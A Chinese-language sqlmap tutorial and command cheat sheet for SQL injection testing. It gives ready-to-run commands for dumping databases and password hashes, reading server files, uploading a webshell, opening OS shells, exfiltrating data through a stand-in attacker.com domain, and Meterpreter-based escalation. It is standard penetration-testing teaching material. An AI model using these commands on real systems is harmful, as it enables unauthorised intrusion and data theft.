目录
3.6有状态带外连接:Meterpreter & friends
1.Sqlmap介绍
官网下载地址:GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。
2.基础命令
以下所有命令加上--batch可以跳过选择(自动跳过选择项,按默认选项注入)。
2.1使用抓取的http请求包进行探测(针对post请求)
如果有请求包,可以直接使用,这里可以使用Brupsuite直接抓包保存。
sqlmap -r http.txt # http.txt是抓取的http请求包
# 如果存在多个参数,而又可以确定username存在SQL注入漏洞时,-p可以指定参数进行探测
sqlmap -r http.txt -p username
针对post请求这里也有另外两种方式:
1.使用 --data 参数,参数格式与 URL 参数相同,如 :
sqlmap -u http://xxx.xxx.xxx/login.html --data "id=1&name=xxx"
2.sqlmap自己抓包,如:
sqlmap -u http://xxx.xxx.xxx/login.html --forms
2.2指定url进行探测
这里探测会得到该网站的数据库、操作系统、服务器等版本信息。
# 如果我们已经知道admin这里是注入点的话,可以在其后面加个*来让sqlmap对其注入
sqlmap -u "http://www.xx.com/username/admin*"
# 探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1"
# 当该网站需要cookie(例如:登录)时,探测该url是否存在漏洞
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --cookie="抓取的cookie"
# 抓取其post提交的数据填入
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --data="name=admin&pwd=admin&submit=Submit"
2.3获取数据库信息
# 查看数据库的所有用户
sqlmap -u "url" --users
# 查看数据库的用户名的密码
sqlmap -u "url" --passwords
# 查看所有数据库名
sqlmap -u "url" --dbs
# 查看指定数据库下的所有表名
sqlmap -u "url" -D 数据库名 --tables
# 查看指定数据库指定表下所有的列名信息
sqlmap -u "url" -D 数据库名 -T 表名 -columns
# 获取当前列的所有数据
sqlmap -u "url" -D 数据库名 -T 表名 -C 列名 --dump
# 在任意环节使用--dumps,可以将所有数据注出,如指定数据库使用,注出所有数据库下的所有表的所有字段信息
sqlmap -u "url" -D test --dump
2.进阶命令
2.1控制输出信息的详细程度
-v #共7个级别(0~6),默认为1 #可以用 -vv 代替 -v 2,推荐使用这种方法
- 0:只输出 Python 出错回溯信息,错误和关键信息
- 1:增加输出普通信息和警告信息
- 2:增加输出调试信息
- 3:增加输出已注入的payload
- 4:增加输出 HTTP 请
- 5:增加输出 HTTP 响应头
- 6:增加输出 HTTP 响应内容
2.2指定目标
-d #直连数据库,"mysql://root:root@192.168.0.8:3306/testdb"
-u #URL
-l #从Burp代理日志文件中解析目标地址
-m #从文本文件中批量获取目标
-r #从文件中读取 HTTP 请求
-g #使用 Google dork 结果作为目标地址 python sqlmap.py -g "inurl:\".php?id=1\""
-c #从 INI 配置文件中读取选项
--purge #清除历史缓存
--flush-session #清除上次扫描的缓存
注:-d是一个一个新的开关选项,它允许你通过 DBMS 守护进程监听的 TCP 端口直接连接目标数据库服务器,便于使用 SQL 注入技术对目标数据库进行攻击。
2.3指定连接时信息
指定连接目标地址的方式
--method=METHOD #强制使用提供的 HTTP 方法(例如:PUT)
--data=DATA #使用 POST 发送数据串,--data="id=1&user=admin"
--param-del=";" #使用参数分隔符,--data="id=1;user=admin"
--cookie=COOKIE #指定 HTTP Cookie ,--cookie "id=11" --level 2
--drop-set-cookie #忽略 HTTP 响应中的 Set-Cookie 参数
--user-agent=AGENT #指定 HTTP User-Agent
--random-agent #使用随机的 HTTP User-Agent,随机从 ./txt/user-agents.txt 选一个,不是每次请求换一个
--host #手动设置 HTTP Host 请求头值,默认情况下,HTTP Host 请求头从提供的目标 URL 中解析
--referer=REFERER #指定 HTTP Referer,默认情况下不会在 HTTP 请求中发送 HTTP Referer 请求头
-H HEADER #设置额外的 HTTP 头参数(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS #设置额外的 HTTP 头参数,必须以换行符分隔(例如:"Accept-Language: fr\nETag: 123")
--auth-type,--auth-cred #选项用于指定后端 Web 服务器实现的 HTTP 协议认证和所有向目标程序发起 HTTP 请求的有效凭据,支持的三种 HTTP 协议认证机制是:Basic、Digest、NTLM,认证凭据的语法是 username:password。一个符合语法的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\=1" --auth-type Basic --auth-cred "testuser:testpass"
--auth-file #HTTP 协议私钥认证
--ignore-code #忽略(有问题的)HTTP 错误码
--proxy,--proxy-cred,--proxy-file 和 --ignore-proxy #HTTP(S) 代理,--proxy 并提供 HTTP(S) 代理地址使 HTTP(S) 请求经过该代理到达目标 URL。设置 HTTP(S) 代理的语法是 http://url:port。如果 HTTP(S) 代理需要身份验证,则可以对选项 --proxy-cred 使用 username:password 格式添加对应的凭证可以使用选项 --proxy-file 并指定包含批量代理的文件,想要使用 sqlmap 对本地局域网目标进行测试时应该使用开关 --ignore-proxy 来绕过系统级的 HTTP(S) 代理服务
--delay=10 #设置每个 HTTP 请求的延迟秒数
--safe-freq=SAFE #每访问两次给定的合法 URL 才发送一次测试请求
--csrf-token 和 --csrf-url #绕过反 CSRF 防护
-force-ssl #支持https的SQL注入只需加入参数-force-ssl告诉sqlmap这是http服务即可
--identify-waf #检测是否有WAF/IPS/IDS,这个功能以失效
--eval #在每个请求期间运行自定义的 Python 代码
2.4指定注入参数
以下选项用于指定要测试的参数,提供自定义注入 payloads 和篡改参数的脚本
-p TESTPARAMETER #指定需要测试的参数
--skip=SKIP #指定要跳过的参数
--dbms=DBMS #指定 DBMS 类型(例如:MySQL)
--os=OS #指定 DBMS 服务器的操作系统类型
--prefix=PREFIX #注入 payload 的前缀字符串
--suffix=SUFFIX #注入 payload 的后缀字符串
--tamper=TAMPER #用给定脚本修改注入数据
--batch #自动跳过选择项,按默认选项注入
2.5指定检测级别
sqlmap 使用的 payloads 直接从文本文件 xml/payloads.xml 中载入。
根据该文件顶部的相关指导说明进行设置,如果 sqlmap 漏过了特定的注入,你可以选择自己修改指定的 payload 用于检测。
level有5级,越高检测越全,默认为 1
–level 1 检测Get和Post
–level 2 检测HTTP Cookie
–level 3 检测User-Agent和Referer
–level 4 检测
–level 5 检测 HOST 头
risk有3级,级别越高风险越大,默认为1
–risk 2 会在默认的检测上添加大量时间型盲注语句测试
–risk 3 会在原基础上添加OR 类型的布尔型盲注 ,可能会update导致修改数据库
2.6页面对比
选项:--string,--not-string,--regexp 和 --code
默认区分一个 True 查询和 False 查询(布尔型盲注背后的相关理念概念)是通过对比注入前后返回的结果页面是否一致进行判断的。
不过这个参照方法并不一定有效,因为可能就算没有进行注入,页面内容也会进行相应更新。例如:页面上有计数器、动态的广告横幅、或者任何基于时间而非用户输入内容进行动态渲染的内容。为了避免类似的情况,sqlmap 会尽可能尝试识别出对应的代码段所返回的请求内容并做好相关的处理。
如果用户知道可以通过 HTTP 状态码区分 True 查询和 False 查询(例如:200 对应 True,401 对应 False),那么可以向 sqlmap 提供对应的信息。(例如:--code=200)
开关:--text-only 和 --titles
如果用户知道可以通过 HTML 标题区分 True 查询和 False 查询(例如:Welcome 对应 True,Forbidden 对应 False),那么可以使用 --titles 开启基于标题对比的开关。
如果 HTTP 响应报文中存在无效信息(例如:脚本、嵌套元素等),可以通过过滤页面的内容(开关 --text-only)而只获取文本内容。通过这种方式,大多数情况下,这样会自动调优检测引擎。
2.7指定注入类型
以下选项用于调整特定 SQL 注入技术的测试方法
--technique=TECH #使用的 SQL 注入技术(默认为“BEUSTQ”)
B: Boolean-based blind SQL injection(布尔型盲注)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(联合查询注入)
S: Stacked queries SQL injection(堆查询注入)
T: Time-based blind SQL injection(时间型盲注)
Q: inline Query injection(内联查询注入)
# 例如,如果仅测试利用报错型注入和堆叠查询注入,你可以提供 ES
--time-sec=TIMESEC #设置延时注入的时间(默认为 5)
--second-order=S.. #设置二阶响应的结果显示页面的 URL(该选项用于二阶 SQL 注入)
--dns-domain #DNS 渗出攻击
# 如果用户正控制着一台注册为 DNS 域名服务器的主机(例如:域名 attacker.com),则可以使用该选项(例如:--dns-domain attacker.com)来启用此攻击。它的前提条件是使用 Administrator(即管理员)权限(因为需要使用特权端口 53)运行 sqlmap,这时可以使用常用的(盲注)技术来进行攻击。如果已经识别出一种有效攻击方式(最好是时间型盲注),则这种攻击能够加速获取数据的过程。如果报错型注入或联合查询注入技术可用,则默认情况下将跳过 DNS 渗出攻击测试
2.8枚举信息
-a, --all #获取所有信息、数据
-f, --fingerprint #采用特定 SQL 方言或者内带特定错误信息等技术展开详细的 DBMS 指纹识别
-b, --banner #获取 DBMS banner,返回数据库的版本号
--current-user #获取 DBMS 当前用户
--current-db #获取 DBMS 当前数据库
--hostname #获取 DBMS 服务器的主机名
--is-dba #探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users #枚举出 DBMS 所有用户
--passwords #枚举出 DBMS 所有用户的密码哈希
--privileges #枚举出 DBMS 所有用户特权级
--roles #枚举出 DBMS 所有用户角色
--dbs #枚举出 DBMS 所有数据库
--tables #枚举出 DBMS 数据库中的所有表,--exclude-sysdbs 以排除所有的系统数据库,对于 Oracle,你需要提供 TABLESPACE_NAME 而不是数据库名称
--columns #枚举出 DBMS 表中的所有列,对于 PostgreSQL,你需要提供 public 或系统数据库的名称。这是因为不可能枚举其他数据库表,只能枚举出 Web 应用程序用户连接到的数据库模式下的表,它们总是以 public 为别名
--schema #枚举出 DBMS 所有模式
--count #获取数据表数目
--dump-all #如果当前会话用户的读取权限允许,可以一次导出所有数据库表条目
--dump #导出 DBMS 数据库表项
--search,-C,-T,-D #此开关允许你在所有数据库中搜索特定的数据库名和表名,在特定的数据表中搜索特定的列名
--stop 10 #只取前10行数据
-D DB #指定要枚举的 DBMS 数据库
-T TBL #指定要枚举的 DBMS 数据表
-C COL #指定要枚举的 DBMS 数据列
--sql-query=QUERY #指定要执行的 SQL 语句
--sql-shell #调出交互式 SQL shell
3.用例
3.1指定数据包注入
从文件读取HTTP请求,GET和POST都可以
sqlmap -r "burp.txt" -p "username" #-p 指定存在注入的参数
这里的 txt 文件就是完整的 http 请求包,可以使用 -p 指定参数,也可以在 txt 文件中使用 *(星号)定位,特别是注入点后需要使用闭合语句的情况下。
Cookie注入
sqlmap -u "http://www.vuln.com" --cookie "id=11" --level 2
当防火墙对请求速度做了限制
sqlmap -u "http://www.vuln.com/post.php?id=1" --delay=10 # 在每个HTTP请求之间的延迟10秒
3.2伪静态注入
sqpmap -u http://victim.com/id/666*.html --dbs #在html扩展名前加个'*'
3.3暴力破解
当数据库为以下情况时,需要暴力破解表名和列名
- DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema
- DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读
- 当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限
暴力破解表名
只要开启了 --common-tables,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表,常见的数据表名列表存储在 txt/common-tables.txt,支持用户进行任意修改。
python sqlmap.py -u "url" --common-tables -D testdb
暴力破解列名
开启了 --columns 开关,sqlmap 则会提示你是否使用暴力破解技术。因而,就算出现上面两个场景之一,只要你开启了 --common-columns,sqlmap 仍然可以识别出部分系统数据表。sqlmap 会尝试对系统表进行暴力破解,试图找出 DBMS 中存在的常见数据表列名,常见的数据表名列表存储在 txt/common-columns.txt,支持用户进行任意修改。
3.4文件操作
仅对MySQL、MSSQL、PostgreSQL有效,可以进行文件操作
前提:
- 数据库用户有读写权限
- 有目录读写文件权限
sqlmap -u url --is-dba #查看是否dba权限,必须为root权限
sqlmap -u url --file-read "C:/Windows/win.ini" #读取文件
sqlmap -u url --file-write=D:/shell.php --file-dest=C:/www/shell.php #上传文件 (本地木马路径:目标网站目录)
3.4执行命令
仅对MySQL、MSSQL、PosgreSQL有效
前提:
- 数据库用户有读写权限
- 有目录读写文件权限
sqlmap 能够在数据库所在服务器的操作系统上运行任意的命令
sqlmap -u "URL" --os-shell #获取系统交互shell或--os-cmd=id执行系统命令
原理就是上传一个 upload 木马后,再上传一个cmd shell。
当 --os-shell退出后, 会调用后门脚本删除上传文件后,进行自删除。
- 在 MySQL 和 PostgreSQL 中,sqlmap 可以上传一个包含两个用户自定义函数
- 分别为 sys_exec() 和 sys_eval() 的共享库(二进制文件),然后在数据库中创建出两个对应函数,并调用对应函数执行特定的命令,并允许用户选择是否打印出相关命令执行的结果。
- 在 Microsoft SQL Server 中,sqlmap 会利用 xp_cmdshell 存储过程:
- 如果该存储过程被关闭了(Microsoft SQL Server 的 2005 及以上版本默认关闭),sqlmap 则会将其重新打开;如果该存储过程不存在,sqlmap 则会重新创建它,当用户请求标准输出,sqlmap 将使用任何可用的 SQL 注入技术(盲注、带内注入、报错型注入)去获取对应结果。相反,如果无需标准输出对应结果,sqlmap 则会使用堆叠查询注入(Stacked queries)技术执行相关的命令。
- 如果堆叠查询没有被 Web 应用识别出来,并且 DBMS 为 MySQL,假如后端 DBMS 和 Web 服务器在同一台服务器上,则仍可以通过利用 SELECT 语句中的 INTO OUTFILE,在 根目录可写目录中写shell
3.5UDF提权
可以通过编译 MySQL 或 PostgreSQL 共享库(在 Windows 上为 DLL,在 Linux/Unix 上为共享对象(shared object))来注入自己的用户自定义函数(UDFs),然后将本地存储共享库的目录路径提供给 sqlmap。sqlmap 会根据你的选择决定下一步是向数据库服务器文件系统上传共享库到还是创建用户自定义函数。当你完成注入 UDFs 的使用后,sqlmap 还可以将它们从数据库中删除。
使用选项 --udf-inject 并按照说明进行操作即可;如果需要,也可以使用 --shared-lib 选项通过命令行指定共享库的本地文件系统路径,否则 sqlmap 会在运行时向你询问路径。
此功能仅对 MySQL 或 PostgreSQL 有用。
3.6有状态带外连接:Meterpreter & friends
开关和选项:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path 和 --tmp-path
当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,并且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外 TCP 连接。根据用户的选择,该连接可以是交互式命令行、Meterpreter 会话、或者图形用户界面(VNC)会话。
sqlmap 依赖 Metasploit 创建 shellcode,并实现了四种不同的技术在数据库服务器上执行它。这些技术分别是:
- 通过 sqlmap 的用户自定义函数 sys_bineval() 在数据库内存中执行 Metasploit shellcode。MySQL 和 PostgreSQL 支持该技术,通过开关 --os-pwn 启用。
- 通过 sqlmap 的用户自定义函数 sys_exec() 向 MySQL 和 PostgreSQL 上传一个 Metasploit 独立 payload 传输器并执行,对于 Microsoft SQL Server 则是使用 xp_cmdshell() 函数,通过开关 --os-pwn 启用。
- 通过进行从数据库服务器到攻击者机器(由 Metasploit smb_relay 服务监听)之间的 UNC 路径请求的 SMB 反射攻击(MS08-068)来执行 Metasploit shellcode。当 sqlmap 运行于具有高权限(uid=0)的 Linux/Unix 上,且目标 DBMS 以 Windows 管理员身份运行时支持该技术,通过开关 --os-smbrelay 启用。
- 通过利用 Microsoft SQL Server 2000 和 2005 的 sp_replwritetovarbin 存储过程堆缓冲区溢出(MS09-004)在数据库内存中执行 Metasploit shellcode。sqlmap 使用自己的 exploit,自动绕过 DEP 内存保护来触发漏洞,但它依赖 Metasploit 生成 shellcode,以便在成功利用时执行,通过开关 --os-bof 启用。
3.7访问 Windows 注册表
条件:
- DBMS(Database Management System,数据库管理系统)是 MySQL,PostgreSQL 或 Microsoft SQL Server
- Web 应用程序支持堆叠查询
- 会话用户必须具备相应的访问权限
--reg-read #读取 Windows 注册表键值
--reg-add #写入 Windows 注册表键值
--reg-del #删除 Windows 注册表项
--reg-key,--reg-value,--reg-data 和 --reg-type #注册表辅助选项
4.总结
真实情况中,sqlmap的流量很容易被识别出来,建议先使用手动注入找到注入点,再使用sqlmap进行深入利用。